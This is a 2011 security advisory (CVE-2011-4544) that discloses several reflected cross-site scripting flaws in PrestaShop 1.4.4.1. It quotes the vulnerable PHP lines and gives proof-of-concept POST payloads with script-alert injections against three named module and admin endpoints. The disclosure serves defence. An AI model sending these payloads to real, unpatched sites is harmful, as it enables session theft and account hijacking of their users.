Cipher
Labs


← Back to vulnerability index

Multiple XSS Vulnerabilities in Prestashop


Dognædis Ref.: DGS-SEC-5

CVE Ref: CVE-2011-4544

Release Date: 2011/11/22

Discover Credits: CodeV - Code Analyzer

Bulletin Author(s): SAlves

Contact: [email protected]

Type: Cross Site Scripting

Level: Low (Low/High/Critical)

CVSS: 4 (AV:N/AC:H/Au:N/C:P/I:P/A:N)

Vulnerable Application: Prestashop (ver. 1.4.4.1)

Overview:
PrestaShop is an e-commerce solution which is free for the basic kernel and open source. It supports payment gateways such as Google checkout, Paypal or payments pro via APIs.

Scope:

File: /modules/mondialrelay/kit_mondialrelay/RechercheDetailPointRelais_ajax.php Vulnerable Argument(s): $_POST['num_mode']

Code:
line 63: echo '</pre>|'.$num;
...
line 67: if ($err) { echo 'a|<h2>Error</h2><pre>' . $err . '</pre>|'.$num; }

Proof(s) of Concept:
GET: http://<app_base>/modules/mondialrelay/kit_mondialrelay/RechercheDetailPointRelais_ajax.php
POST: num_mode=<script>alert('XSS')</script>


File: /modules/mondialrelay/kit_mondialrelay/SuiviExpedition_ajax.php Vulnerable Argument(s): $_POST['Expedition']

Code:
line 6: echo 'http://www.mondialrelay.fr/lg_fr/espaces/url/popup_exp_details.aspx?cmrq='._Enseigne_webservice.'&nexp='.$var_Expedition.'&crc='.$k_security;

Proof(s) of Concept:
GET: http://<app_base>/modules/mondialrelay/kit_mondialrelay/SuiviExpedition_ajax.php
POST: Expedition=<script>alert('XSS')</script>


File: /admin/ajaxfilemanager/ajax_save_text.php (line 87) Vulnerable Argument(s): $_POST['folder'] and $_POST['name']

Code:
line 87: echo "path:'" . $path . "'";

Proof(s) of Concept:
GET: http://<app_base>/admin/ajaxfilemanager/ajax_save_text.php
POST: folder=<script>alert('XSS 1');</script>&name=<script>alert('XSS 2');</script>


Description:
The referred vulnerability could be exploited through a XSS (Cross-Site-Scripting) attack.
Ultimately, the attacker could take complete control of the victims web-browser.
In a successful attack, the malicious script would be executed with the authenticated user permissions.

Impact:
Generally, by exploiting this kind of vulnerability, it might be possible to achieve possible attack vectors to various kinds of attacks such as:
- Session/Cookie theft
- Account Hijacking
- Identity theft
- Accessing confidential resources
- Accessing pay content
- Account Denial of service

Resolution:
Aiming a correct resolution of the identified vulnerability, the data obtained through the $_POST['num_mode'] input argument should be properly sanitized for HTML and following ECMAS usage.

Official Solution:
At the moment, there is no official solution for the reported vulnerabilities.
According to the developer, this issues are not present in the latest release (1.5), which is, at the moment, only available for developers, for testing purposes.

External References:
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
http://en.wikipedia.org/wiki/Cross-site_scripting
http://en.wikipedia.org/wiki/Code_injection


Download the Vulnerability Report (PDF)


← Back to vulnerability index